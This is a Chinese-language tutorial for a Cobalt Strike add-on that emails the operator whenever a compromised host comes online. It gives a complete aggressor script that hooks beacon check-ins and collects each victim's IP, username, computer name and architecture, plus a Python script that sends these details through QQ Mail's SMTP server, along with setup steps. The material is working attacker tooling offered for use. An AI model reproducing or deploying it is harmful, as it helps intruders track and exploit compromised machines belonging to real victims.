0x01.两个文件
1.sme.cna
使用sme脚本监控上线, 然后调用python脚本执行发邮件
#Sme.cna
#Config
$Switch = "on"; #开关
#Config
on beacon_initial { # 在Beacon 初始化时执行,也就是上线时执行
if ($Switch eq "on"){ #判断开关是否为on
action("\c9Sending SME......"); # 调试信息发送到CS的公屏上,代表邮件正在发送
$IP = beacon_info($1, "external"); #取上线主机IP
$User = beacon_info($1, "user"); #取上线主机用户名
$ComName = beacon_info($1, "computer"); #取上线主机计算机名
$Arch = beacon_info($1, "arch"); #取上线主机架构
@Curl_command = @('python3', '/tmp/sme.py' ,$IP,$User,$ComName,$Arch); #定义执行邮件发送脚本命令, sme.py一定要写服务器的绝对路径,并且要有执行权限
exec(@Curl_command); #执行邮件发送命令
println(@Curl_command);
action("\c9Send SME Done: ".$ComName."!");
}
}
2.sme.py
import sys
import smtplib # smtplib发送邮件
from email.mime.text import MIMEText # 构造文本内容
from email.header import Header # 构造标题内容
def post_email(ip, username, computer_name, arch):
# 设置服务器地址
mail_host = "smtp.qq.com"
# 设置服务器端口
mail_port = 465
# QQ邮件登录账号
mail_user = "273xxxxxx"
# QQ邮箱第三方授权码
mail_pass = "xxxxxxx"
# 初始化发送方账号
sender = "27xxxxx@qq.com"
# 初始化接收方账号
receivers = "273xxxxxxx@qq.com"
# 构造文本对象,三个参数:文本内容,设置文本格式,设置编码
data = f"""上线主机IP:{ip}
上线主机用户名:{username}
上线主机计算机名:{computer_name}
上线主机架构:{arch}
"""
message = MIMEText(data, "plain", "utf-8")
# 文本对象 添加 发送者
message["From"] = sender
# 文本对象 添加 接收者
message["To"] = receivers
# 文本对象 添加 标题
message["Subject"] = Header("至风一样男子的邮件")
# 创建 SMTP 对象,连接目标服务器
smtpObj = smtplib.SMTP_SSL(mail_host, mail_port)
# 自己账号登录
smtpObj.login(mail_user, mail_pass)
# 发送邮件到目标地址 注意:信息由MTMEText对象 转为 字符串对象
smtpObj.sendmail(sender, receivers, message.as_string())
# 结束 SMTP 对象
smtpObj.quit()
if __name__ == '__main__':
ip = sys.argv[1]
username = sys.argv[2]
computer_name = sys.argv[3]
arch = sys.argv[4]
post_email(ip, username, computer_name, arch)
3.注意事项
根据个人配置,修改两个文件相应的内容
# 1.邮件发送方需要开通smtp服务,获取授权码
# 2.sme.py需要有执行(x)权限
# 3.cs服务端后台加载扩展脚本的命令
nohup ./agscript cs的ip cs的端口 任意用户名 密码 插件路径 &